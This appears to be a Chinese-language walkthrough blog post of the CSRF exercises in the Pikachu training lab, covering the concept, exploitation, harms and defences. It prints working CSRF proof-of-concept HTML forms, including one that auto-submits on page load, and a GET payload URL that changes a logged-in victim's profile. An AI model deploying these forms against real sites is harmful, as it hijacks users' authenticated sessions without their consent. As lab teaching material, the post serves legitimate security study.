Pikachu靶场通关之Cross-site request forgery

一、本文介绍 今天,我们来学习一项web安全里最常见的漏洞,Cross-site request forgery。本篇文章将会带领大家进入到Cross-site request forgery这项漏洞的世界里,让大家领略到Cross-site re...

一、本文介绍

今天,我们来学习一项web安全里最常见的漏洞,Cross-site request forgery。本篇文章将会带领大家进入到Cross-site request forgery这项漏洞的世界里,让大家领略到Cross-site request forgery这项漏洞的魅力,从而对Cross-site request forgery漏洞有更深刻的认识。

学习一项新的漏洞,简单来说,我们要从四个方面来入手,第一个方面是产生这项漏洞的原因,不管是从代码层面,还是从逻辑层面等方面,来对这项漏洞有一个清楚的认识,有位大佬说得好,只有对漏洞原理了如指掌,才会有更多的突破点来挖掘漏洞;第二个方面是这项漏洞应该如何利用,是直接使用漏洞利用的各种工具,还是自己的写或者是借鉴其他大佬的漏洞利用的脚本等,漏洞利用的方式不一而同,具体问题具体分析;第三个方面是这项漏洞对网站等能够造成什么样危害,能够达到什么样的效果,是获取网站的权限,还是获取管理员或者用户的账号密码或者是敏感信息等;第四个方面当然是,我们应该如何去防范这项漏洞,以及这项漏洞的修复方式,分别从代码层面、逻辑层面等方面如何去修复。

本篇文章将分别从Cross-site request forgery漏洞的原理、Cross-site request forgery漏洞如何利用、Cross-site request forgery漏洞的危害以及Cross-site request forgery漏洞如何防范与修复这四个方面,来和大家一起学习Cross-site request forgery这项漏洞,下面我们进入正题。

二、Cross-site request forgery的概述

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

这里列举一个场景解释一下,希望能够帮助你理解。

场景需求:

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。

先看下大白是如何修改自己的密码的:

登录---修改会员信息,提交请求---修改成功。

所以小黑想要修改大白的信息,他需要拥有:1、登录权限 2、修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?

于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:

【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】

于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:

1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;

---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;

---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。

---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。

当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。

---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。

三、Cross-site request forgery的利用

1.Cross-site request forgery (get)

谷歌浏览器登录kobe账号

QQ浏览器登录lucy账号

对kobe账号信息进行修改,点击个人信息修改,点击submit,burp抓包右键生成CSRF的poc

把生成的poc保存成html文档,把里面的信息写入kobe的信息

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://xxx.xxx.xxx/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="15988767673" />
      <input type="hidden" name="add" value="nba lakes" />
      <input type="hidden" name="email" value="kobe@pikachu.com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

用QQ浏览器lucy的账号打开,点击submit

可以发现lucy的个人信息已经被修改为kobe的个人信息了

get型的CSRF还可以直接在url里进行修改,可以达到同样的效果

payload为:/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit

2.Cross-site request forgery (post)

谷歌浏览器登录kobe账号

QQ浏览器登录lili账号

通过burp抓包可以发现,所有参数是在请求体里面提交,伪造url方法就不能使用了,要利用的话,需要构造一个表单来提交数据,诱导用户去点击,从而引发攻击

构造表单放在公网服务器上,表单里是kobe的账号信息

<html>
<head>
<script>
window.onload=function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://xxx.xxx.xxx/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="boy" />
    <input id="phonenum" type="text" name="phonenum" value="15988767673" />
    <input id="add" type="text" name="add" value="nba lakes" />
    <input id="email" type="text" name="email" value="kobe@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

在QQ浏览器登录lili的账号,访问公网服务器准备好的欺骗url,点击submit

可以发现lili的个人信息已经被修改为kobe的个人信息了

3.Cross-site request forgery Token

通过burp抓包可以发现,每次请求,都有一个随机码,后台每次对这个随机码进行验证

查看页面源码,发现有一个隐藏的token值,? 提交完,后台的token值会与提交的token值进行验证,跳过,才可以修改数据

四、Cross-siterequest forgery的危害

1.配合XSS漏洞可造成蠕虫病毒攻击。

2.可以更改用户的密码

3.更改(商城ecshop等开源程序)用户收货地址

4.用户所有可以在网站操作的,黑客都可以利用CSRF漏洞去操作。只需要构造PoC代码,伪造请求让受害者点击就可以执行漏洞。

五、Cross-site request forgery的防御

1.对敏感信息的操作增加安全的token;

2.对敏感信息的操作增加安全的验证码;

3.对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

六、本文总结

到此为止,通过本篇文章,我们大家一起学习了Cross-site request forgery这项漏洞,相信大家已经对Cross-site request forgery这项漏洞有了明确而深刻的认识。

本人之后还会陆续分享我在网络安全与渗透测试学习之路上的各种笔记,包括且不限于各种漏洞原理、漏洞挖掘、漏洞复现以及靶场CTF通关教程等等,希望大家多多点赞关注支持。

免责声明:本站提供的安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

欢迎关注公众号:国服最强渗透掌控者

一名普通的白帽子,努力追求着成为国服最强渗透掌控者的梦想,希望我的分享能够给大家带来帮助,并且能够为网络安全事业做出自己的贡献。此生无悔入网安,争做渗透第一人。

  • 发表于 2021-04-15 17:46
  • 阅读 ( 170 )
  • 分类:互联网

0 条评论

请先 登录 后评论
青蛙
青蛙

630 篇文章

你可能感兴趣的文章

相关问题